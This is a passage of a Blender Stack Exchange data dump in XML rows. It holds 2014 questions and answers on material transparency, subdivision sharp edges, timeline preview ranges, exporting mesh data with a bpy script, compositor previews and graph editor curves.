  <row Id="6423" PostTypeId="2" ParentId="6416" CreationDate="2014-01-20T22:54:12.737" Score="36" Body="&lt;p&gt;As @gandalf3 pointed out, you can check out the answer &lt;a href=&quot;https://blender.stackexchange.com/questions/1842/how-can-i-setup-a-material-in-cycles-for-z-transparency&quot;&gt;here&lt;/a&gt;.  I'll redo it with a bit more detail though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll assume you've already UV mapped your plane (select plane, go into Edit Mode, &lt;kbd&gt;U&lt;/kbd&gt; &gt; Unwrap) and you already set up the texture in the Materials tab to look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aMPPc.png&quot; alt=&quot;Materials settings&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you render and the alpha appears as black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XXd6b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, you go into the Node Editor and you use the alpha information to set where the plane should display the texture image and where it should have transparent material.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8grIw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render and you should have transparency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/egpjr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2014-01-20T22:54:12.737" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6425" PostTypeId="1" AcceptedAnswerId="6426" CreationDate="2014-01-21T00:18:55.630" Score="60" ViewCount="115183" Body="&lt;p&gt;How can I use the subdivision surface modifier to create more high poly meshes without ruining sharp edges?&lt;/p&gt;&#xA;&lt;p&gt;For example this mesh&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PMXYW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The sphere should be subdivided but the rim of the cylinder should stay the same because it is a sharp edge.&lt;/p&gt;&#xA;&lt;p&gt;This is the result of the subdevision&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/13fza.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;How can I get sharp edges to not be affected by the sub surf mod?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-06-22T23:50:09.683" Title="Keep sharp edges when using subdivision surface" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="25" ContentLicense="CC BY-SA 3.0" />
  <row Id="6426" PostTypeId="2" ParentId="6425" CreationDate="2014-01-21T00:22:16.687" Score="62" Body="&lt;p&gt;You have two options:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Add &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/generate/subdivision_surface.html#edge-loops&quot; rel=&quot;noreferrer&quot;&gt;supporting geometry&lt;/a&gt; (Loopcuts &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; and beveling &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; both work well):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The Subsurf modifier demonstrates why good, clean topology is so&#xA;important. As you can see in the figure, the Subsurf modifier has a&#xA;drastic effect on a default Cube. Until you add in additional Loops&#xA;(with CtrlR), the shape is almost unrecognizable. A mesh with a&#xA;deliberate topology has good placement of Edge Loops, which allow the&#xA;placement of more Loops (or removal of Loops, with X » Edge Loop) to&#xA;control the sharpness/smoothness of the resultant mesh.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DfRym.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/generate/subdivision_surface.html#weighted-creases&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Creases&lt;/em&gt;&lt;/a&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Weighted edge creases for subdivision surfaces allows you to change&#xA;the way Subsurf subdivides the geometry to give the edges a smooth or&#xA;sharp appearance.&lt;/p&gt;&#xA;&lt;p&gt;The crease weight of selected edges can be changed using Transform&#xA;Properties (N) and change the Median Transform slider. A higher value&#xA;makes the edge “stronger” and more resistant to subsurf. Another way&#xA;to remember it is that the weight refers to the edge’s sharpness.&#xA;Edges with a higher weight will be deformed less by subsurf. Recall&#xA;that the subsurfed shape is a product of all intersecting edges, so to&#xA;make the edges of an area sharper, you have to increase the weight of&#xA;all the surrounding edges.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DKTvW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Creases tend to produce a sharp, hard edge which tends to look less realistic (and also tends to require an &lt;em&gt;Edge Split&lt;/em&gt; modifier if used with smooth shading), while supporting geometry tends to give a subtly rounded edge which looks more realistic and does not require an edge split modifier. However, using supporting edge loops also tends to add a lot of extra geometry.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6pQYa.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6pQYa.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="53932" LastEditDate="2020-06-22T23:50:09.683" LastActivityDate="2020-06-22T23:50:09.683" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="6427" PostTypeId="2" ParentId="6421" CreationDate="2014-01-21T01:53:13.870" Score="4" Body="&lt;p&gt;The frame range set on Timeline is for global output range by default. However, if you want to have a alternative preview for certain duration, you may consider to click the &lt;strong&gt;Use Preview Range&lt;/strong&gt; button on the Timeline header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GAY4c.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When enabling it, you can set an alternative preview range by setting Start / End value on the header, instead of changing the global output range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ipbSs.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-01-21T01:53:13.870" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6428" PostTypeId="2" ParentId="6417" CreationDate="2014-01-21T01:54:21.000" Score="2" Body="&lt;p&gt;Yes you can do this, &lt;em&gt;all accessible from interface but included keys&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enter Editmode (&lt;kbd&gt;Tab&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Change to face-editing (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;, &lt;kbd&gt;F&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Select all (&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Mesh -&gt; Edges -&gt; Edge Split (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;, &lt;kbd&gt;D&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Change orientation to normal (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Space&lt;/kbd&gt;, &lt;kbd&gt;N&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Change pivot to individual origins (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Rotate about the Z axis `(&lt;kbd&gt;R&lt;/kbd&gt;, &lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;) ... move mouse:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GbEQb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="599" LastEditDate="2014-01-21T06:05:31.793" LastActivityDate="2014-01-21T06:05:31.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6429" PostTypeId="2" ParentId="6425" CreationDate="2014-01-21T04:26:06.690" Score="24" Body="&lt;p&gt;Another option that keeps edges sharp is to use an Edge Split modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ut6F6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SDU6q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sharp Edges option allows you to specify which edges are split.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xIrhe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-01-21T04:26:06.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6430" PostTypeId="2" ParentId="5060" CreationDate="2014-01-21T07:29:47.283" Score="6" Body="&lt;p&gt;Yes you can do this, &lt;em&gt;all accessible from interface but included keys&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enter Editmode (&lt;kbd&gt;Tab&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Change to face-editing (&lt;kbd&gt;3&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Select all (&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Mesh -&gt; Edges -&gt; Edge Split (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;, &lt;kbd&gt;D&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Change orientation to normal (&lt;kbd&gt;,&lt;/kbd&gt;, &lt;kbd&gt;2&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Change pivot to individual origins (&lt;kbd&gt;.&lt;/kbd&gt;,&lt;kbd&gt;2&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Rotate about the Z axis `(&lt;kbd&gt;R&lt;/kbd&gt;, &lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;) ... move mouse:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GbEQb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2020-03-24T23:23:59.587" LastActivityDate="2020-03-24T23:23:59.587" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="6431" PostTypeId="2" ParentId="6403" CreationDate="2014-01-21T07:49:29.537" Score="3" Body="&lt;p&gt;In order to export the triangles of the default scene's cube the process would be as follows.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the Cube, switch to &lt;em&gt;Edit Mode&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select all faces&lt;/li&gt;&#xA;&lt;li&gt;Load the Texture in UV-Image Editor &lt;/li&gt;&#xA;&lt;li&gt;UV-Unwrap &lt;kbd&gt;U&lt;/kbd&gt; Smart UV-Project&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a Material and Texture , assign the texture and UV-Map&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Convert the quads to tris &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;F&lt;/kbd&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;T&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to &lt;em&gt;Object Mode&lt;/em&gt; (Important)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Run the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;#bpy.ops.mesh.quads_convert_to_tris()&#xA;&#xA;ob = bpy.context.object&#xA;&#xA;with open(&quot;c:\\tmp\\{ob.name}.txt&quot;.format(ob=ob), &quot;w&quot;) as file:&#xA;    file.write(&quot;GLfloat {ob.name}[] =\n{\n&quot;.format(ob=ob))&#xA;&#xA;    for face in ob.data.polygons:&#xA;        for vert, loop in zip(face.vertices, face.loop_indices):&#xA;            coord = ob.data.vertices[vert].normal&#xA;            normal = ob.data.vertices[vert].co&#xA;            uv = ob.data.uv_layers.active.data[loop].uv&#xA;            file.write(&quot;\t{co.x}, {co.y}, {co.z}, {n.x}, {n.y}, {n.z}, {uv.x}, {uv.y},\n&quot;.format(co=coord, n=normal, uv=uv))&#xA;&#xA;    file.write( &quot;};\n&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Find the output file in the temp directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GLfloat Cube[] =  &#xA;{&#xA;    0.577349, 0.577349, -0.577349, 1.000000 1.000000 -1.000000, 0.666667, 0.333333,&#xA;    0.577349, -0.577349, -0.577349, 1.000000 -1.000000 -1.000000, 1.000000, 0.333333,&#xA;    -0.577349, -0.577349, -0.577349, -1.000000 -1.000000 -1.000000, 1.000000, 0.666667,&#xA;    0.577349, 0.577349, 0.577349, 1.000000 0.999999 1.000000, 0.333333, 0.666667,&#xA;    -0.577349, 0.577349, 0.577349, -1.000000 1.000000 1.000000, 0.333333, 0.333333,&#xA;    0.577349, -0.577349, 0.577349, 0.999999 -1.000001 1.000000, 0.666667, 0.666667,&#xA;    0.577349, 0.577349, -0.577349, 1.000000 1.000000 -1.000000, 0.333333, 0.333333,&#xA;    0.577349, 0.577349, 0.577349, 1.000000 0.999999 1.000000, 0.000000, 0.333333,&#xA;    0.577349, -0.577349, -0.577349, 1.000000 -1.000000 -1.000000, 0.333333, 0.000000,&#xA;    0.577349, -0.577349, -0.577349, 1.000000 -1.000000 -1.000000, 0.333333, 0.333333,&#xA;    0.577349, -0.577349, 0.577349, 0.999999 -1.000001 1.000000, 0.333333, 0.000000,&#xA;    -0.577349, -0.577349, -0.577349, -1.000000 -1.000000 -1.000000, 0.666667, 0.333333,&#xA;    -0.577349, -0.577349, -0.577349, -1.000000 -1.000000 -1.000000, 0.666667, 0.000000,&#xA;    -0.577349, -0.577349, 0.577349, -1.000000 -1.000000 1.000000, 1.000000, 0.000000,&#xA;    -0.577349, 0.577349, 0.577349, -1.000000 1.000000 1.000000, 1.000000, 0.333333,&#xA;    0.577349, 0.577349, 0.577349, 1.000000 0.999999 1.000000, 0.000000, 0.333333,&#xA;    0.577349, 0.577349, -0.577349, 1.000000 1.000000 -1.000000, 0.333333, 0.333333,&#xA;    -0.577349, 0.577349, 0.577349, -1.000000 1.000000 1.000000, 0.000000, 0.666667,&#xA;    -0.577349, 0.577349, -0.577349, -1.000000 1.000000 -1.000000, 0.666667, 0.666667,&#xA;    0.577349, 0.577349, -0.577349, 1.000000 1.000000 -1.000000, 0.666667, 0.333333,&#xA;    -0.577349, -0.577349, -0.577349, -1.000000 -1.000000 -1.000000, 1.000000, 0.666667,&#xA;    0.577349, 0.577349, 0.577349, 1.000000 0.999999 1.000000, 0.000000, 0.333333,&#xA;    0.577349, -0.577349, 0.577349, 0.999999 -1.000001 1.000000, 0.000000, 0.000000,&#xA;    0.577349, -0.577349, -0.577349, 1.000000 -1.000000 -1.000000, 0.333333, 0.000000,&#xA;    0.577349, 0.577349, -0.577349, 1.000000 1.000000 -1.000000, 0.333333, 0.333333,&#xA;    -0.577349, 0.577349, -0.577349, -1.000000 1.000000 -1.000000, 0.333333, 0.666667,&#xA;    -0.577349, 0.577349, 0.577349, -1.000000 1.000000 1.000000, 0.000000, 0.666667,&#xA;    -0.577349, 0.577349, 0.577349, -1.000000 1.000000 1.000000, 0.333333, 0.333333,&#xA;    -0.577349, -0.577349, 0.577349, -1.000000 -1.000000 1.000000, 0.666667, 0.333334,&#xA;    0.577349, -0.577349, 0.577349, 0.999999 -1.000001 1.000000, 0.666667, 0.666667,&#xA;    -0.577349, 0.577349, -0.577349, -1.000000 1.000000 -1.000000, 0.666667, 0.333333,&#xA;    -0.577349, -0.577349, -0.577349, -1.000000 -1.000000 -1.000000, 0.666667, 0.000000,&#xA;    -0.577349, 0.577349, 0.577349, -1.000000 1.000000 1.000000, 1.000000, 0.333333,&#xA;    0.577349, -0.577349, 0.577349, 0.999999 -1.000001 1.000000, 0.333333, 0.000000,&#xA;    -0.577349, -0.577349, 0.577349, -1.000000 -1.000000 1.000000, 0.666667, 0.000000,&#xA;    -0.577349, -0.577349, -0.577349, -1.000000 -1.000000 -1.000000, 0.666667, 0.333333,&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code is based on ideasman42 answer here: &lt;a href=&quot;https://blender.stackexchange.com/questions/4820/exporting-uv-coordinates&quot;&gt;Exporting UV coordinates&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/26401&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt; as demo.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-02-20T11:22:14.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6432" PostTypeId="1" CreationDate="2014-01-21T09:42:48.020" Score="2" ViewCount="853" Body="&lt;p&gt;At a loss on this one. I'm sure it's something simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently building a character…. (well nearly finished) the eyes are separate from the main model as I want to move them when animating. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To try and make it clear I'll explain my workings and then explain the problem. I created an eye using a sphere, and used a lattice modifier to make the eye look flat (as the character is stylised) Before doing the second eye, I textured the model, including the eye. I then duplicated the eye and mirrored it (so that eye is textured too) and did the same for the lattice. Looks great and does exactly what I want it to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the problem. When exporting it as an FBX it tells me I need to apply scale. Thats fine. So I apply scale on the main body of the model, and the two eye balls. All seems fine. But, when in object mode and I press &quot;P&quot; on the keyboard, the render tells a different story. The duplicated Eye has done a 180 turn. The first/original eye is fine, so is the body. Before applying scale and pressing &quot;P&quot; the duplicated eye is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand, for a start, that this only shows up when rendered, and when I put the fbx into the game engine I'm using, it shows the eye rotated (this is how I discovered the problem in the first place.) But looks fine in my 3D window in blender. Also, its only that duplicated eye thats messing up. Is there a way I can apply the scale but keep it as it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2211" LastEditorUserId="151" LastEditDate="2014-01-21T12:23:07.250" LastActivityDate="2015-07-20T18:12:05.723" Title="Apply Scale issues on duplicated object" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6433" PostTypeId="1" AcceptedAnswerId="6434" CreationDate="2014-01-21T09:44:10.170" Score="1" ViewCount="7113" Body="&lt;p&gt;The following is a script that is supposed to access UV info but it fails right away in both Object and Edit modes.  I fist tried using Bl-2.69.8, then 2.69 then 2.68 and it happens the same every time.  I've also tried adding bpy. to the beginning of &lt;em&gt;context&lt;/em&gt; but the result is the same.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone clear this up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ClJbu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="12" LastEditDate="2014-04-22T20:44:32.513" LastActivityDate="2014-04-22T20:44:32.513" Title="Python context error NameError: name 'context' is not defined" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6434" PostTypeId="2" ParentId="6433" CreationDate="2014-01-21T09:52:07.580" Score="8" Body="&lt;p&gt;What you're looking for is &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_9/bpy.context.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.context&lt;/code&gt;&lt;/a&gt;, so the first line should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.context.active_object&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It refers to the &lt;code&gt;bpy&lt;/code&gt; module being imported in the first line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use this at the beginning of your scripts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy import context&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The entire script should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;ob = bpy.context.object&#xA;me = ob.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;uv_layer = bm.loops.layers.uv.verify()&#xA;bm.faces.layers.tex.verify()&#xA;&#xA;for f in bm.faces:&#xA;    for l in f.loops:&#xA;        luv = l[uv_layer]&#xA;        if luv.select:&#xA;            luv.uv = l.vert.co.xy&#xA;&#xA;bmesh.update_edit_mesh(me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastEditorUserId="1363" LastEditDate="2014-01-22T21:43:32.380" LastActivityDate="2014-01-22T21:43:32.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6435" PostTypeId="1" AcceptedAnswerId="6436" CreationDate="2014-01-21T10:31:59.750" Score="9" ViewCount="4221" Body="&lt;p&gt;In a brand new project, I'm getting a white &quot;X&quot; instead of the backdrop preview. I can only find one reference to this online, with no solution given. I'm very new to the compositor, so apologies if I'm missing something obvious, tutorials give the impression that it &quot;just works&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xod23.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note, I'd love to get these per-node previews shown in the video on the left, which I also can't find in the docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles engine and &quot;Blender render&quot; have the same problem. Rendering normally or with the &quot;Rendered&quot; viewport shading works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2212" LastEditorUserId="20" LastEditDate="2014-01-21T19:17:25.480" LastActivityDate="2020-04-16T23:42:11.160" Title="No previews showing in the compositor" Tags="&lt;compositor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6436" PostTypeId="2" ParentId="6435" CreationDate="2014-01-21T10:36:28.830" Score="5" Body="&lt;p&gt;Try rendering the scene (&lt;kbd&gt;F12&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The white X means that there is no data to display. The per-node previews and backdrop preview should automatically fill in after the render is complete.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-21T10:36:28.830" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6437" PostTypeId="1" CreationDate="2014-01-21T13:12:18.103" Score="1" ViewCount="963" Body="&lt;p&gt;I've rigged this face, adding drivers to shape key values and particle systems. So far so good, but when I add drivers to some node values they don't show up in the Grap Editor when viewing Drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I create an new empty scene and try to reproduce the issue, it's working as suspected. The material show up beneath the object, and I can expand all the driven inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's just not working in my previous scene with the face :(&lt;/p&gt;&#xA;" OwnerUserId="755" LastActivityDate="2014-01-21T13:54:56.507" Title="How do I force Graph Editor to show drivers for my Materials" Tags="&lt;drivers&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6438" PostTypeId="2" ParentId="6437" CreationDate="2014-01-21T13:54:56.507" Score="2" Body="&lt;p&gt;Ok I was stuck there, but removing the drivers back and forth, and adding them not on the node but on the N-panel value forced the Graph Editor to update and I could see the drivers there. &lt;/p&gt;&#xA;" OwnerUserId="755" LastActivityDate="2014-01-21T13:54:56.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6439" PostTypeId="1" CreationDate="2014-01-21T14:35:55.780" Score="5" ViewCount="1818" Body="&lt;p&gt;I need to apply (or make real) modifier used on IPO curve for next adjustment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case I have curve with three keyframes plus Modifier (type Cycles) that repeats eight times this step. &#xA;I have many similar animated objects with modifier. And I need to edit each curve individually later (after applying modifier).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does exist function in blender that make this modifier real?&#xA;Thank you for help&lt;/p&gt;&#xA;" OwnerUserId="2214" LastEditorUserId="2214" LastEditDate="2014-01-21T18:47:52.790" LastActivityDate="2015-06-29T09:08:59.843" Title="How to apply (make real) a curve generated by modifier in Graph Editor?" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6440" PostTypeId="2" ParentId="6439" CreationDate="2014-01-21T17:03:38.067" Score="5" Body="&lt;p&gt;IPO is the old call for the current Graph Editor. I suppose you are using Blender 2.6x:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When in Graph Editor, go to the editor menu &lt;strong&gt;Key&lt;/strong&gt; &gt; &lt;strong&gt;Bake Curve&lt;/strong&gt; (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;), to bake/apply the modified result and overwrite the existing curve. However, The modifiers are still there unless you manually remove them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CAUTION:&lt;/strong&gt; you CANNOT re-edit that curve anymore after that. So, make sure that's what you can really afford.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-01-21T17:10:35.250" LastActivityDate="2014-01-21T17:10:35.250" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6441" PostTypeId="2" ParentId="5744" CreationDate="2014-01-21T19:22:11.767" Score="1" Body="&lt;p&gt;This behavior has been changed as of &lt;a href=&quot;https://developer.blender.org/rBfc3be511f07a8107da5f9b0c8778d16295ced7cb&quot; rel=&quot;nofollow&quot;&gt;this commit&lt;/a&gt;. From the commit log:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now it uses the last activated node like compositing does. This should have no&#xA;  effect on existing files until you activate another output node there.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-21T19:22:11.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6442" PostTypeId="1" AcceptedAnswerId="6443" CreationDate="2014-01-21T19:50:53.950" Score="2" ViewCount="1755" Body="&lt;p&gt;Image 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/RnYwcOA.gif&quot; alt=&quot;Snow falling sim&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/otXiLdU.gif&quot; alt=&quot;Kicking Snow Particles&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or thoughts would be awesome!&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="599" LastEditDate="2014-01-22T00:38:26.327" LastActivityDate="2014-01-22T00:38:26.327" Title="How to create snow particle physics?" Tags="&lt;physics&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
